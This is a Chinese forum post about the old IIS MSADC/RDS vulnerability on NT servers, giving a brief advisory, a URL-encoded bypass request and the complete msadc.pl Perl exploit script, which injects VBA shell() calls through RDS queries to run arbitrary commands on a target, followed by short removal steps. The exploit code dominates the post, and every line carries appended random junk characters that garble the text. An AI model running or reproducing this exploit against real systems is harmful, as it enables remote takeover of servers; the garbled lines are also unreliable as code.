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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) FbH 1yz  
(jj=CLe  
涉及程序: sfb)iH|sW  
Microsoft NT server "^/3?W>  
U^aMh-  
描述: 7p"4rL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )1#J4  
-U&k%X   
详细: p6)Jzh_/  
如果你没有时间读详细内容的话,就删除: ?K5S{qG'O  
c:\Program Files\Common Files\System\Msadc\msadcs.dll v6uXik  
有关的安全问题就没有了。 sa8Q1i&%  
.%~m|t+Rt  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 [PXv8K%]p  
D(bQFRBY6"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 B?bdHO:E~  
关于利用ODBC远程漏洞的描述,请参看: :SBB3G)|  
[wp(s2=  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm mdzUL d5J  
W(~7e?fO  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  862e  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp bU$4"_eA B  
eK8y'VY  
这里不再论述。 "{TVd>9_  
7T[Kjn^{Oj  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: IR_&dWHyc  
cp| q  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~w Ekbq=  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! r}?uZ"]=?  
Mk-zeq<2z  
z89!\Q  
#将下面这段保存为txt文件,然后: "perl -x 文件名" pNt,RRoR  
"rHcsuSEw  
#!perl 5?] Dn k.o  
# =Oyn<  
# MSADC/RDS 'usage' (aka exploit) script a!?JVhD&  
# 0Y|"Bo9k  
# by rain.forest.puppy tfz"9PV80  
# t,D7X1W  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me f2*e&+LjTP  
# beta test and find errors! WdtZ{H  
Y6+/_$N4|  
use Socket; use Getopt::Std; (FVHtZi7  
getopts("e:vd:h:XR", \%args); H\r- ;,&  
h*X5O h6  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; fYxdG|>{u  
TzSEQ S{  
if (!defined $args{h} && !defined $args{R}) { i#4}xvi  
print qq~ l%\p  
Usage: msadc.pl -h <host> { -d <delay> -X -v }  $I*<gn9  
-h <host> = host you want to scan (ip or domain) w20)~&LE-  
-d <seconds> = delay between calls, default 1 second 1n3XB+*  
-X = dump Index Server path table, if available J 2H$ALl  
-v = verbose a_z1S Z2[  
-e = external dictionary file for step 5 V*d@@%u**  
uT#4"G9A[  
Or a -R will resume a command session y=HM]EH>  
%]"eN{Uvn  
~; exit;} n{*A<-vL  
s:/Wz39SY3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; #[odjSb  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} $j(laD#AR  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ]H {g/C{j  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); QgF2f/;!  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} O3/w@q Q  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $cSmubZK  
}uFV\1  
if (!defined $args{R}){ $ret = &has_msadc; \281X  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} KA/ ~q"N  
(C9{|T+h  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" s#BSZP  
. "cmd /c "; xoe/I[P]U  
$in=<STDIN>; chomp $in; e'dx Y(  
$command="cmd /c " . $in ; ]H-5    
(F+]h]KSi  
if (defined $args{R}) {&load; exit;} 9O4\DRe5c  
|s!<vvp]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 16-1&WuY@  
&try_btcustmr; !n^7&Y[N;  
Y 8Dn&W  
print "\nStep 2: Trying to make our own DSN..."; nvInq2T 1  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ]^>RBegJBO  
\Dx5=Lh  
print "\nStep 3: Trying known DSNs..."; GeFu_7u!|  
&known_dsn; ;659E_y>  
hd>_K*oH  
print "\nStep 4: Trying known .mdbs..."; /A82~  
&known_mdb; TQL_K8k@_  
P;bOtT --  
if (defined $args{e}){ wl N l|+ K  
print "\nStep 5: Trying dictionary of DSN names..."; .VA'W16  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } KN< KZM  
tq.g4X ;_  
print "Sorry Charley...maybe next time?\n"; :"Gd;~p.  
exit; Sp-M:,H3H  
[M#I Nm}  
############################################################################## *|B5,Ey  
gR 76g4|=;  
sub sendraw { # ripped and modded from whisker u OB`A-K  
sleep($delay); # it's a DoS on the server! At least on mine... W<\*5oB%H  
my ($pstr)=@_; X,`^z,M%I  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || mV;)V8'  
die("Socket problems\n"); GhC%32F  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;s^F:O  
select(S); $|=1; =<.h.n  
print $pstr; my @in=<S>; j"Z9}F@  
select(STDOUT); close(S); '>Uip+'  
return @in; ?WBA:?=$58  
} else { die("Can't connect...\n"); }} 9jJ:T$}  
 K)P].htw  
############################################################################## {C'9?4&  
7<zI'^l  
sub make_header { # make the HTTP request Ksb55cp`  
my $msadc=<<EOT ;\54(x}|K  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2PViY,V|  
User-Agent: ACTIVEDATA yP"D~u  
Host: $ip ./_4D}  
Content-Length: $clen S]<%^W'  
Connection: Keep-Alive OV`#/QL  
UNCI"Mjb  
ADCClientVersion:01.06 a=r^?q'/  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ]]6  
}&Ul(HR  
--!ADM!ROX!YOUR!WORLD! JPM W|JT  
Content-Type: application/x-varg Clmz}F  
Content-Length: $reqlen tD+K4 ^  
.B_a3K4'{^  
EOT &\5%C\0Z<  
; $msadc=~s/\n/\r\n/g; ?UBhM,;XK  
return $msadc;} &d6  
+"3K)9H  
############################################################################## %Hpz^<`  
W~?mr! `  
sub make_req { # make the RDS request  t@+z r3  
my ($switch, $p1, $p2)=@_; UEH+E&BCC  
my $req=""; my $t1, $t2, $query, $dsn; 3h4'DQ.g  
>mp" =Y  
if ($switch==1){ # this is the btcustmr.mdb query 5^ e|802  
$query="Select * from Customers where City=" . make_shell(); G]E-2 _t7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 7NP Ny  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} mApl}I  
@YI- @  
elsif ($switch==2){ # this is general make table query BE,H`G #h  
$query="create table AZZ (B int, C varchar(10))"; Nrfj[I  
$dsn="$p1";} (R^Ca7F  
A08{]E#v>  
elsif ($switch==3){ # this is general exploit table query L=)Arj@q  
$query="select * from AZZ where C=" . make_shell(); 9D H}6fO  
$dsn="$p1";} R zn%!d^$>  
!^IAn  
elsif ($switch==4){ # attempt to hork file info from index server x`Ik747^v  
$query="select path from scope()"; (I ~r~5^  
$dsn="Provider=MSIDXS;";} 2|}KBny  
7rjS.  
elsif ($switch==5){ # bad query ='vkd=`Si  
$query="select"; P7y.:%DGD0  
$dsn="$p1";} <lf6gb  
\Z/# s;c,4  
$t1= make_unicode($query); |YK4V(5x  
$t2= make_unicode($dsn); !--A"  
$req = "\x02\x00\x03\x00"; r=:o$e  
$req.= "\x08\x00" . pack ("S1", length($t1)); g6(u6%MD  
$req.= "\x00\x00" . $t1 ; zf?U q  
$req.= "\x08\x00" . pack ("S1", length($t2)); ?gl[ =N V  
$req.= "\x00\x00" . $t2 ; 1'YksuYx6f  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; f4lC*nCN  
return $req;} ky{-NrK  
DtOL=m]s  
############################################################################## w<G'gi]  
3vRBK?Q.y  
sub make_shell { # this makes the shell() statement 4qmaL+Q  
return "'|shell(\"$command\")|'";} )/4U]c{-  
wf/DLAC  
############################################################################## hG qZB  
'/Ag3R  
sub make_unicode { # quick little function to convert to unicode ~/1eF7  
my ($in)=@_; my $out; Fa9gr/.F,@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } yUlYf#`H  
return $out;} {+x;J4  
tjt#2i8/  
############################################################################## F'3-*>]P  
ca?;!~%zA  
sub rdo_success { # checks for RDO return success (this is kludge) O K2|/y  
my (@in) = @_; my $base=content_start(@in); +EP=uV9t  
if($in[$base]=~/multipart\/mixed/){ \"AzT{l!;  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Vv~:^6il  
return 0;} `ILO]+`5  
:yE7jXB  
############################################################################## }@NT#hD  
MP%pEUomev  
sub make_dsn { # this makes a DSN for us V8IEfU  
my @drives=("c","d","e","f"); Q0-}!5`E1$  
print "\nMaking DSN: "; sA[eKQjaD  
foreach $drive (@drives) { -?PXj)<  
print "$drive: "; Bw8&Amxx:  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . WJ m:?,  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" OE_>Kw7q  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); M$+2f.(>k)  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Y|y X]\,  
return 0 if $2 eq "404"; # not found/doesn't exist B4ky%gF4  
if($2 eq "200") { 8jm\/?k|  
foreach $line (@results) { -8D$[@y(  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} z!/ MBM  
} return 0;} iVqa0Gl+}  
@Sd l~'"  
############################################################################## oZ"93]3-  
,`;Dre  
sub verify_exists { O*y@4AR"S  
my ($page)=@_; BZ -)XF'4  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Rln JlY/  
return $results[0];} ?j-;;NNf  
)1 =|\  
############################################################################## nN[gAM (  
.m \y6  
sub try_btcustmr { e+7x &-+  
my @drives=("c","d","e","f"); oar`xH$C  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X/-u$c  
v %GcNjZk5  
foreach $dir (@dirs) { wC4:OJ[d  
print "$dir -> "; # fun status so you can see progress A3c&VT6Q  
foreach $drive (@drives) { ;,Q6AS!  
print "$drive: "; # ditto (N`x  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; d@0&  
$reqlenlen=length( "$reqlen" ); .~ yz1^ c  
$clen= 206 + $reqlenlen + $reqlen; ?~s23%E  
*d;D~"E<@  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 7l|D!`BS  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} s^Wh!:>r/  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} GPVqt"TY  
PTFe>~vr*  
############################################################################## M~#% [?iU  
7n*[r*$  
sub odbc_error { ~f:jI1(}  
my (@in)=@_; my $base; |m /XGr  
my $base = content_start(@in); ';OZP2  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this E#A}J:  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #(Ah>y  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %?~`'vYoi  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; PDH00(#;+  
return $in[$base+4].$in[$base+5].$in[$base+6];} y&8kORz;?  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; (XJ0?;js=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . [!CIBK99  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ZJeTx.Gi6  
0'O*Y ]h+  
############################################################################## .P>-Fh,_p  
K%/:V  
sub verbose { Z$&i"1{  
my ($in)=@_; dJYQdo^X  
return if !$verbose; q*B(ZG  
print STDOUT "\n$in\n";} h.D*Y3=<  
.ECT  
############################################################################## j,BiWgj$8  
!;ipLC;e}  
sub save { T6=q[LpsKN  
my ($p1, $p2, $p3, $p4)=@_; aO]FQ#l2b  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; =f*Wj\  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; rS/}!|uAu  
close OUT;} >:yU bo)  
4:S?m(ah/  
############################################################################## x&PVsXdt5m  
,@*Srrw  
sub load { uY'77,G_J  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; qqR8E&Y{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); fR6.:7&  
@p=<IN>; close(IN); %juR6zB%8  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); XK7$Xbd  
$target= inet_aton($ip) || die("inet_aton problems"); j/+e5.EX/  
print "Resuming to $ip ..."; jaq`A'o5  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; W nLMa|e  
if($p[1]==1) { [~_()i=Y  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $pO gFA1'  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; DRUvQf  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Ar:ezA  
if (rdo_success(@results)){print "Success!\n";} 2UGnRZ8:1Y  
else { print "failed\n"; verbose(odbc_error(@results));}} -g;cg7O#(  
elsif ($p[1]==3){ Z(=U ZI?  
if(run_query("$p[3]")){ t@1 bu$y  
print "Success!\n";} else { print "failed\n"; }} zjVQ\L  
elsif ($p[1]==4){ !04zWYHo  
if(run_query($drvst . "$p[3]")){ yDdi+  
print "Success!\n"; } else { print "failed\n"; }} gE~]^B{  
exit;} mtQlm5l  
%oY=.Ok ]  
############################################################################## k_}aiHdG  
Im*~6[  
sub create_table { %]15=7#'y  
my ($in)=@_; 5/>W(,5}  
$reqlen=length( make_req(2,$in,"") ) - 28; !=w&=O0(  
$reqlenlen=length( "$reqlen" ); *tD`X( K  
$clen= 206 + $reqlenlen + $reqlen; (T]<  
my @results=sendraw(make_header() . make_req(2,$in,"")); LAT%k2%Wx  
return 1 if rdo_success(@results); ")cJA f  
my $temp= odbc_error(@results); verbose($temp);  #mDeA>b  
return 1 if $temp=~/Table 'AZZ' already exists/; c ii]-%J}c  
return 0;} (,5,}  
9gLUM$Kd  
############################################################################## ;}BDEBl  
NLLLt  
sub known_dsn { O5:2B\B  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go m)aNuQvy:Z  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", fEB>3hI  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", kA1C&  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); D<35FD,  
^bj aa  
foreach $dSn (@dsns) { '`K-rvF,C  
print "."; IV5B5Q'D  
next if (!is_access("DSN=$dSn")); =]auP{AlE  
if(create_table("DSN=$dSn")){ >P/Nb]C  
print "$dSn successful\n"; 1 ynjDin<  
if(run_query("DSN=$dSn")){ ."#M X!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ie f~*:5  
print "Something's borked. Use verbose next time\n";}}} print "\n";} X/D^?BKC  
]U8VU  
############################################################################## And|T 6u  
U0Y;*_>4  
sub is_access { }9qbF+b  
my ($in)=@_; \~:Uj~  
$reqlen=length( make_req(5,$in,"") ) - 28; AUk,sCxd  
$reqlenlen=length( "$reqlen" ); 0Ek + }`  
$clen= 206 + $reqlenlen + $reqlen; TL?(0]H fe  
my @results=sendraw(make_header() . make_req(5,$in,"")); 2unaK<1s  
my $temp= odbc_error(@results); #s-^4znv9  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); dD Zds k+!  
return 0;} z+Cw*v\Y  
 d Xiv8B1  
############################################################################## *<[Nvk^  
n4YedjHSN  
sub run_query { y[W<vb+F  
my ($in)=@_; wLDWD,"K  
$reqlen=length( make_req(3,$in,"") ) - 28; Z?#_3h$"T  
$reqlenlen=length( "$reqlen" ); O" <W<l7Q  
$clen= 206 + $reqlenlen + $reqlen; -or^mNB_z  
my @results=sendraw(make_header() . make_req(3,$in,"")); Y8Bc &q}  
return 1 if rdo_success(@results); 7%E]E,f/#  
my $temp= odbc_error(@results); verbose($temp); D_HE!fl  
return 0;} ?y@RE  
NPL(5@  
############################################################################## ![{>$Q?5  
@vC7j>*4B  
sub known_mdb { 45u\v2,C3  
my @drives=("c","d","e","f","g"); %L\buwjy$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *r&q;ER  
my $dir, $drive, $mdb; J9kmIMq-C  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";  n]N+  
;0R>Dg  
# this is sparse, because I don't know of many oBm^RHTZ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", R>ak 3Y  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 1ud+~y$K  
"\\system32\\certmdb.mdb", =ca<..yh[d  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% WI?iz-,](  
?ep'R&NV  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", F>0[v|LG  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /ox9m7Fz7  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", QBNnvg4v  
"\\cfusion\\cfapps\\security\\realm_.mdb", b~1]}9TJ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", g@va@*|~d  
"\\cfusion\\database\\cfexamples.mdb", 0!:1o61  
"\\cfusion\\database\\cfsnippets.mdb", [`_ZlC  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", e+!+(D  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", D?v)Xqw=  
"\\cfusion\\brighttiger\\database\\cleam.mdb", lDQ'  
"\\cfusion\\database\\smpolicy.mdb", RO([R=.`/  
"\\cfusion\\database\cypress.mdb", Z]1=nSv  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",  !IZbMn6  
"\\website\\cgi-win\\dbsample.mdb", >~g(acH%`x  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ?3{R'Buv]  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" lO)0p2  
); #these are just :< )"G&  
foreach $drive (@drives) { q]-CTx$  
foreach $dir (@dirs){ }w#Ek=,s#o  
foreach $mdb (@sysmdbs) { p;GT[Ds^  
print "."; d"1DE  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ '%u7XuU-]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; .)7r /1o  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ r@2{>j8  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; LxM.z1  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 6evW O!  
g"60{  
foreach $drive (@drives) { #q06K2  
foreach $mdb (@mdbs) { uA} w?;  
print "."; 7# /c7   
if(create_table($drv . $drive . $dir . $mdb)){ jL|y4  
print "\n" . $drive . $dir . $mdb . " successful\n"; S~8w-lG!  
if(run_query($drv . $drive . $dir . $mdb)){ &?],uHB?d  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; $/*6tsR  
} else { print "Something's borked. Use verbose next time\n"; }}}} Y=%SK8]Q;  
} rcC}4mNe  
_e ]jz2j  
############################################################################## `sS\8~A  
uG|d7LS,%  
sub hork_idx { Y4\BHFq  
print "\nAttempting to dump Index Server tables...\n"; acSm+t  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _?vh#6F  
$reqlen=length( make_req(4,"","") ) - 28; "!9hcv- ;  
$reqlenlen=length( "$reqlen" ); Lv`*+;1 K  
$clen= 206 + $reqlenlen + $reqlen; B]`!L/  
my @results=sendraw2(make_header() . make_req(4,"","")); CDy *8<-&  
if (rdo_success(@results)){ /D]V3|@E  
my $max=@results; my $c; my %d; 92@/8,[  
for($c=19; $c<$max; $c++){ JYY:~2  
$results[$c]=~s/\x00//g; ;{n@hM*O  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; e b])=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; NV|[.g=lg  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; GAZTCkB"  
$d{"$1$2"}="";} [3yzVcr~4  
foreach $c (keys %d){ print "$c\n"; } PY4RwN  
} else {print "Index server doesn't seem to be installed.\n"; }} ad\?@>[ I  
2 kOFyD  
############################################################################## ^V DJGBk  
6I$laHx?  
sub dsn_dict { LP{{PT.&X  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 0Cox+QJt  
while(<IN>){ K+0&~XU  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _f~(g1sE  
next if (!is_access("DSN=$dSn")); U{IY F{;@  
if(create_table("DSN=$dSn")){ 7j>NUx=j3  
print "$dSn successful\n"; ?e`4 s f_~  
if(run_query("DSN=$dSn")){ ;g3z?Uz)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { d},IQ,Az:Z  
print "Something's borked. Use verbose next time\n";}}} 5wy1%/;  
print "\n"; close(IN);} hPC t-  
Bf72 .gx{0  
############################################################################## 0{ZYYB&"~J  
Bs@!S?  
sub sendraw2 { # ripped and modded from whisker 6@7K\${  
sleep($delay); # it's a DoS on the server! At least on mine... hi{#HXa  
my ($pstr)=@_; A`=;yD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .4M8  
die("Socket problems\n"); )HrFWI'Y  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ub0hISA  
print "Connected. Getting data"; >-2eZ(n)"  
open(OUT,">raw.out"); my @in; [79 eq=  
select(S); $|=1; print $pstr; (,5oqU9s@  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 6.o8vC/PZ  
close(OUT); select(STDOUT); close(S); return @in; thoAEG80  
} else { die("Can't connect...\n"); }} ")/TbT Vu  
hX-([o  
############################################################################## egBjr?  
+GgJFBl  
sub content_start { # this will take in the server headers AL%gqt]  
my (@in)=@_; my $c; *%G$[=  
for ($c=1;$c<500;$c++) { U~~Y'R\ NU  
if($in[$c] =~/^\x0d\x0a/){ 1g_(xwUp+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 6sRe. ct<  
else { return $c+1; }}} yI&{8DCCw  
return -1;} # it should never get here actually [}7j0&  
O*hd@2hd  
############################################################################## xvZNshkpAX  
dQoZh E  
sub funky { Uoskfm  
my (@in)=@_; my $error=odbc_error(@in); Wq bfZx  
if($error=~/ADO could not find the specified provider/){ g/)$-Z)Nu  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; }PZz(Ms  
exit;} -#=y   
if($error=~/A Handler is required/){ .k{omr&Dy5  
print "\nServer has custom handler filters (they most likely are patched)\n"; <b-BJ2],k  
exit;} \JJ>y  
if($error=~/specified Handler has denied Access/){ "2>I?  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0jS"PH?[  
exit;}} i\P?Y(-{  
- nWs@\  
############################################################################## :NB,Dz+i  
8+m[ %5lu  
sub has_msadc { Qfhhceb6#J  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); %5N;SRtv  
my $base=content_start(@results); w#?@ulr]d  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); qz|`\^  
return 0;} <OKzb3e  
x^UE4$oo  
######################## (nhv#&Fd+  
NDG3mCl  
M7Pvc%\)  
解决方案: < q6z$c)K  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll o8!gV/oy  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9m2_zfO[ w  
S ("Zzq`  
拿出来充数 哈哈
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